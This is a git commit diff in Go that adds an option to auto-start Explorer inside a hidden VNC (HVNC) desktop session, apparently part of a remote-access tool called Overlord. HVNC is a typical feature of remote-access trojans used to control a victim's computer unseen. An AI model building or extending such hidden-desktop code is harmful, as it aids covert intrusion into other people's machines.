add auto start explorer

This commit is contained in:
KingKDot
2026-03-17 00:31:28 -05:00
parent dd30835f4a
commit 62208ace52
6 changed files with 136 additions and 36 deletions
+9 -1
View File
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env) error {
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
return err
}
if autoStartExplorer {
go func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
}()
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {